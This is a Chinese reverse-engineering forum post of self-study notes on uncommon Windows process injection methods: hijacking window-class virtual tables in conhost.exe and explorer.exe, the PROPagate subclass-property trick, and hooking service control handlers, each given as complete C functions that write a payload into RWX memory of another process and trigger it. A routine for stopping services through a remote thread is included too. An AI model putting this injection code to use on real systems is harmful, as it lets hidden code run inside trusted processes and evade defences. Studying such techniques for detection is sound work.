学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-8-19 22:51:01 | 查看: 4992| 回复: 1
进程注入
以下是自学习相关进程注入时写的笔记。
HOOK Conhost.exe中保存的ConsoleWindowClass窗口类的虚表
控制台应用程序窗口所属于的窗口类为ConsoleWindowClass,窗口中保存的用户数据并不在控制台程序的地址空间之中,而在Conhost.exe之中。用户数据的第一个8字节或4字节中保存的是该类的虚表地址。

以修改ConHost中对于消息处理的虚函数表中的虚函数指针为手段,而Conhost.exe保存的用户数据在堆中是可写属性,导致了可以HOOK对应虚函数指针。

Windows不太常见的进程注入

Windows不太常见的进程注入

这个是Conhost中保存的控制台窗口类行为的虚表原型:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
typedef struct _vftable_t {
    ULONG_PTR     EnableBothScrollBars;
    ULONG_PTR     UpdateScrollBar;
    ULONG_PTR     IsInFullscreen;
    ULONG_PTR     SetIsFullscreen;
    ULONG_PTR     SetViewportOrigin;
    ULONG_PTR     SetWindowHasMoved;
    ULONG_PTR     CaptureMouse;
    ULONG_PTR     ReleaseMouse;
    ULONG_PTR     GetWindowHandle;
    ULONG_PTR     SetOwner;
    ULONG_PTR     GetCursorPosition;
    ULONG_PTR     GetClientRectangle;
    ULONG_PTR     MapPoints;
    ULONG_PTR     ConvertScreenToClient;
    ULONG_PTR     SendNotifyBeep;
    ULONG_PTR     PostUpdateScrollBars;
    ULONG_PTR     PostUpdateTitleWithCopy;
    ULONG_PTR     PostUpdateWindowSize;
    ULONG_PTR     UpdateWindowSize;
    ULONG_PTR     UpdateWindowText;
    ULONG_PTR     HorizontalScroll;
    ULONG_PTR     VerticalScroll;
    ULONG_PTR     SignalUia;
    ULONG_PTR     UiaSetTextAreaFocus;
    ULONG_PTR     GetWindowRect;
} ConsoleWindow;

通过GetWindowLongPtr(hwnd, GWLP_USERDATA);可以获取用户数据地址,然后通过常规的ReadProcessMemory、WriteProcessMemory、VirtualAllocEx即可将对应的虚函数做更改。

整体代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
    HWND          hwnd;
    LONG_PTR      udptr;
    DWORD         pid, ppid;
    SIZE_T        wr;
    HANDLE        hp;
    ConsoleWindow cw;
    LPVOID        cs, ds;
    ULONG_PTR     vTable;

    // 1. 找到具有ConsoleWindowClass窗口类的窗口句柄
    hwnd = FindWindow(L"ConsoleWindowClass", NULL);
    //通过窗口句柄找到对应进程的PID
    GetWindowThreadProcessId(hwnd, &ppid);

    // 2. 通过对比进程名和父进程句柄找到Conhost进程的pid
    pid = conhostId(ppid);

    if (pid==0) {
      printf("parent id is %ld\nunable to obtain pid of conhost.exe\n", ppid);
      return;
    }
    // 3.打开conhost进程
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 4. 在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload
    cs = VirtualAllocEx(hp, NULL, payloadSize,
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 5. 找到ConsoleWindowClass窗口类中保存的虚函数地址
    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
    ReadProcessMemory(hp, (LPVOID)udptr,
        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);

    // 6. 获取原本的虚表内容
    ReadProcessMemory(hp, (LPVOID)vTable,
      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);

    // 7. 在conhost进程中申请堆空间保存自定义的虚表内容。
    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 8. 将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。
    cw.GetWindowHandle = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);

    // 9. 将虚表指针hook
    WriteProcessMemory(hp, (LPVOID)udptr, &ds,
      sizeof(ULONG_PTR), &wr);

    // 10. 发消息测试
    SendMessage(hwnd, WM_SETFOCUS, 0, 0);

    // 11. 更改为原来的虚表指针
    WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
      sizeof(ULONG_PTR), &wr);

    // 12. 释放内存。
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
}

HOOK Shell_TrayWnd窗口类的虚表
可以看到explorer.exe之中具有窗口类。

Windows不太常见的进程注入

Windows不太常见的进程注入

Windows不太常见的进程注入

Windows不太常见的进程注入

和第一个没什么太大的不一样,唯一的区别是该窗口类的虚表常规的保存在创建窗口的进程之中。

原型:
1
2
3
4
5
6
7
8
9
10
typedef struct _ctray_vtable {
    ULONG_PTR vTable;    // change to remote memory address
    ULONG_PTR AddRef;    // add reference
    ULONG_PTR Release;   // release procedure
    ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;

typedef struct _ctray_obj {
    CTray *vtbl;
} CTrayObj;

代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
VOID extraBytes(LPVOID payload, DWORD payloadSize){
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;

    hw = FindWindow(L"Shell_TrayWnd", NULL);

    GetWindowThreadProcessId(hw, &pid);

    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    ctp = GetWindowLongPtr(hw, 0);

    ReadProcessMemory(hp, (LPVOID)ctp,
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);

    ReadProcessMemory(hp, (LPVOID)ct.vTable,
      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);

    cs = VirtualAllocEx(hp, NULL, payloadSize,
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    ds = VirtualAllocEx(hp, NULL, sizeof(ct),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;

    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);

    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);


    PostMessage(hw, WM_CLOSE, 0, 0);


    SetWindowLongPtr(hw, 0, ctp);


    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
}

与窗口子类化有关注入——PROPagate
当窗口被子类化的时候,久的窗口过程并不会被删除,而是被存储在后台隐藏运行。存储的节点为UxSubclassInfo或者CC32SubclassInfo的属性之中;命名名称是根据comctl32.dll的版本来决定的。
1
2
版本6.x对应的名称是UxSubclassInfo;
版本5.x对应的名称是CC32SubclassInfo。

当使用SetWindowSubclass函数时,会调用SetProp 这个API会将旧的函数过程存储在UxSubclassInfo或者CC32SubclassInfo属性值中。当有对应的消息到来的时候,将会在子类化的窗口调用GetProp这个API获取旧的窗口过程并执行。(PS:以上是看资料总结的,总感觉理解上面有问题。如果有师傅比较较真的话,可以尝试自己子类化一个窗口,通过其句柄获取UxSubclassInfo属性,然后判断一下这个属性+0x18的偏移所保存的到底是旧的窗口过程还是新的窗口过程,还是说都有?只是调用的顺序不同?,如果有师傅做了实验的话不妨在下面告诉我一下,感激不尽)

这个属性的结构主要如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _SUBCLASS_CALL {
  SUBCLASSPROC pfnSubclass;    // subclass procedure
  WPARAM       uIdSubclass;    // unique subclass identifier
  DWORD_PTR    dwRefData;      // optional ref data
} SUBCLASS_CALL, PSUBCLASS_CALL;

typedef struct _SUBCLASS_FRAME {
  UINT                    uCallIndex;   // index of next callback to call
  UINT                    uDeepestCall; // deepest uCallIndex on stack
  struct _SUBCLASS_FRAME  *pFramePrev;  // previous subclass frame pointer
  struct _SUBCLASS_HEADER *pHeader;     // header associated with this frame
} SUBCLASS_FRAME, PSUBCLASS_FRAME;

typedef struct _SUBCLASS_HEADER {
  UINT           uRefs;        // subclass count
  UINT           uAlloc;       // allocated subclass call nodes
  UINT           uCleanup;     // index of call node to clean up
  DWORD          dwThreadId;   // thread id of window we are hooking
  SUBCLASS_FRAME *pFrameCur;   // current subclass frame pointer
  SUBCLASS_CALL  CallArray[1]; // base of packed call node array
} SUBCLASS_HEADER, *PSUBCLASS_HEADER;

32位系统下可以看到在偏移0x18的处保存的窗口过程。

只需要在具有该窗口属性里的进程里将该回调函数进行HOOK,然后将其恢复即可,

在Win7和部分WIn10(最新版win10里没有)里经常使用该窗口,父类名Progman,子类名SHELLDLL_DefView。

Windows不太常见的进程注入

Windows不太常见的进程注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
VOID propagate(LPVOID payload, DWORD payloadSize) {
    HANDLE          hp, p;
    DWORD           id;
    HWND            pwh, cwh;
    SUBCLASS_HEADER sh;
    LPVOID          psh, pfnSubclass;
    SIZE_T          rd,wr;

    // 1. Obtain the parent window handle
    pwh = FindWindow(L"Progman", NULL);

    // 2. Obtain the child window handle
    cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);

    // 3. Obtain the handle of subclass header
    p = GetProp(cwh, L"UxSubclassInfo");

    // GetProcessHandleFromHwnd
    // 4. Obtain the process id for the explorer.exe
    GetWindowThreadProcessId(cwh, &id);

    // 5. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 6. Read the contents of current subclass header
    ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);

    // 7. Allocate RW memory for a new subclass header
    psh = VirtualAllocEx(hp, NULL, sizeof(sh),
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    // 8. Allocate RWX memory for the payload
    pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 9. Write the payload to memory
    WriteProcessMemory(hp, pfnSubclass,
        payload, payloadSize, &wr);

    // 10. Set the pfnSubclass field to payload address, and write
    //    back to process in new area of memory
    sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass;
    WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);

    // 11. update the subclass procedure with SetProp
    SetProp(cwh, L"UxSubclassInfo", psh);

    // 12. Trigger the payload via a windows message
    PostMessage(cwh, WM_CLOSE, 0, 0);

    // 13. Restore original subclass header
    SetProp(cwh, L"UxSubclassInfo", p);

    // 14. free memory and close handles
    VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
}

通过HOOK服务的IDE来实现进程注入
每个Windows服务都有一个“控制处理程序”以从操作系统接收控制代码。根据服务愿意接受的内容,可以查询,启动,停止,暂停或恢复服务的更常见控制代码。指向控制处理程序的指针存储在堆上的数据结构中,Microsoft将其称为“内部调度项”(IDE)。(PS:以上是谷歌翻译的结果,这个描述怎么这么像SCM???)

Win 7的IDE结构
1
2
3
4
5
6
7
8
9
10
11
typedef struct _INTERNAL_DISPATCH_ENTRY {
    LPWSTR                  ServiceName;
    LPWSTR                  ServiceRealName;
    LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
    LPHANDLER_FUNCTION_EX   ControlHandler;
    HANDLE                  StatusHandle;
    DWORD                   ServiceFlags;
    DWORD                   Tag;
    HANDLE                  MainThreadHandle;
    DWORD                   dwReserved;
} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;

Win10的IDE结构
1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _INTERNAL_DISPATCH_ENTRY {
    LPWSTR                  ServiceName;
    LPWSTR                  ServiceRealName;
    LPWSTR                  ServiceName2;       // Windows 10
    LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
    LPHANDLER_FUNCTION_EX   ControlHandler;
    HANDLE                  StatusHandle;
    DWORD64                 ServiceFlags;        // 64-bit on windows 10
    DWORD64                 Tag;
    HANDLE                  MainThreadHandle;
    DWORD64                 dwReserved;
    DWORD64                 dwReserved2;
} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;

通过HOOK IDE的ControlHandler字段,可以实现进程注入。

具体方法为:通过服务名得到服务的进程相关信息;在服务的进程之中通过搜索内存比对IDE的ServiceRealName和传入的服务名参数来找到IDE;将IDE中的ServiceFlags修改为SERVICE_CONTROL_INTERROGATE;然后HOOK IDE中的ControlHandler,通过SCM向其发送SERVICE_CONTROL_INTERROGATE的控制码,触发被HOOK的函数;然后恢复。

具体代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
VOID SvcCtrlInject(PSERVICE_ENTRY se, LPVOID payload, DWORD payloadSize) {
    SIZE_T                  wr;
    SC_HANDLE               hm, hs;
    INTERNAL_DISPATCH_ENTRY ide;
    HANDLE                  hp;
    LPVOID                  cs;
    SERVICE_STATUS          ss;

    wprintf(L"
  • Attempting to inject PIC into \"%s\"...\n", se->process);

        // open the service control manager
        hm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
        if (hm != NULL) {
          // open target service
          hs = OpenService(hm, se->service, SERVICE_INTERROGATE);
          if (hs != NULL) {
            // open target process
            hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, se->pid);
            if (hp != NULL) {
              // allocate memory for payload
              cs = VirtualAllocEx(hp, NULL, payloadSize,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              if (cs) {
                // write payload to process space
                WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
                // create backup of IDE
                memcpy(&ide, &se->ide, sizeof(ide));
                // point ControlHandler to payload
                ide.ControlHandler = cs;
                // change flags
                ide.ServiceFlags   = SERVICE_CONTROL_INTERROGATE;
                // update IDE in remote process
                WriteProcessMemory(hp, se->ide_addr, &ide, sizeof(ide), &wr);
                // trigger payload
                wprintf(L"
  • Set a breakpoint on %p\n", cs);
                getchar();
                ControlService(hs, SERVICE_CONTROL_INTERROGATE, &ss);
                xstrerror(L"ControlService");
                // free payload from memory
                VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE);
                // restore original IDE
                WriteProcessMemory(hp, se->ide_addr,
                  &se->ide, sizeof(ide), &wr);
              } else xstrerror(L"VirtualAllocEx");
              CloseHandle(hp);      // close process
            } else xstrerror(L"OpenProcess");
            CloseServiceHandle(hs); // close service
          } else xstrerror(L"OpenService");
          CloseServiceHandle(hm);   // close manager
        }
    }

  • 其也可以通过远程创建线程的方式关闭服务。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    BOOL StopService(PSERVICE_ENTRY se){
        DWORD                   evt;
        HANDLE                  hThread, hProcess;
        RtlCreateUserThread_t   pRtlCreateUserThread;
        BOOL                    bResult=FALSE;

        wprintf(L"
  • Attempting to stop service...\n");

        hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, se->pid);

        if(hProcess == NULL) {
          xstrerror(L"StopService::OpenProcess");
          return 0;
        }
        // resolve address of RtlCreateUserThread
        // CreateRemoteThread won't work here..
        pRtlCreateUserThread=
          (RtlCreateUserThread_t)GetProcAddress(
          LoadLibrary(L"ntdll"), "RtlCreateUserThread");

        // got it?
        if (pRtlCreateUserThread!=NULL) {
          // execute the ControlHandler in remote process space
          pRtlCreateUserThread(hProcess, NULL, FALSE,
              0, NULL, NULL, se->ide.ControlHandler,
              (LPVOID)SERVICE_CONTROL_STOP, &hThread, NULL);

          bResult = (hThread != NULL);

          // if thread created
          if (bResult) {
            // wait 5 seconds for termination
            evt = WaitForSingleObject(hThread, 5*1000);
            bResult = (evt == WAIT_OBJECT_0);

            CloseHandle(hThread);
          }
          wprintf(L"
  • Service %s stopped.\n",
            bResult ? L"successfully" : L"unsuccessfully");
        }
        CloseHandle(hProcess);
        return bResult;
    }

  • 参考文章
    温馨提示:
    1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
    2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
    3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
    已有 2 人评分学币 理由
    testnovice + 3
    中山 + 3

    总评分: 学币 + 6   查看全部评分

    论坛交流群:672619046

      发表于 2020-8-20 07:48:26
      管理员大佬好

      小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

      GMT+8, 2024-4-19 01:57 , Processed in 0.101900 second(s), 48 queries .

      Powered by Discuz! X3.4

      Copyright © 2001-2021, Tencent Cloud.

      快速回复 返回顶部 返回列表